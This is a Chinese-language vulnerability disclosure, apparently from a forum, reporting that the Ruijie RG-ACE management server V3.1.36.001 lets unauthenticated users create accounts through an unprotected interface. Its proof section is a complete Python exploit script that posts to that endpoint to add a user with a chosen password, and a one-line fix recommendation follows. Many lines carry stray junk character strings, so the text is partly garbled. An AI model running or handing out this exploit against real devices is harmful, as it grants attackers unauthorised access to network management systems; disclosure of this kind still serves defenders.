锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）

& V" b8 P7 x! `( N
测试的具体版本是
产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
8 V9 l' f9 s; r( \2 R编译时间: 201104291730


/ S# f, \. K6 }( e漏洞证明：
: o+ ?8 A* v4 `) @$ H! Q
4 P3 t8 O, j& J6 j3 k


8 J4 b; v/ P! O' p

9 {. g9 r- b- F4 B4 h& \8 p; k执行脚本
; s5 _) i" l) }  q#! /usr/bin/env python
#coding=gbk
#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
. J. V/ F( \, J5 B. v0 u! purl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
3 C& c! c( {5 A; s8 D" s- Rpost=(("event","userManager.doInsertUserInfo"),
" n, i5 b3 n, c% y( e("useractionname","addButtonValue"),
; \* J# ^% D$ K* t4 `9 Y. S("useropermanager","userManager"),
* Z5 Z2 g6 U% e) M% m9 e) L" \4 W: H("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
("trueName","ad"),
("email",""),
! B8 J6 J, H+ D" I* y, T7 R("mobilePhone",""),
("officePhone",""),
) T( T9 ^* M; K. ], _("addr",""),
("submit","确定"))
4 `* M. N. |) O3 ?( a  Aurllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"

登录，连接设备
- `  D9 K# k+ K  z; S3 C  u3 r, S


6 Y7 b5 Q& c/ k- Y: j3 n. z+ J
3 b4 t- v, k! {
9 ]: p3 K' P- T6 H默认的管理员admin权限更大点



3 n3 G# d# q: o5 r+ U7 J
% \. K! Z, ?; n. U% B- p
0 k+ I8 |- e. x" \0 S; |* g修复方案：
) @: I4 d. c3 G: g' O& m加强对接口的权限验证
4 |( u, c2 e) g; }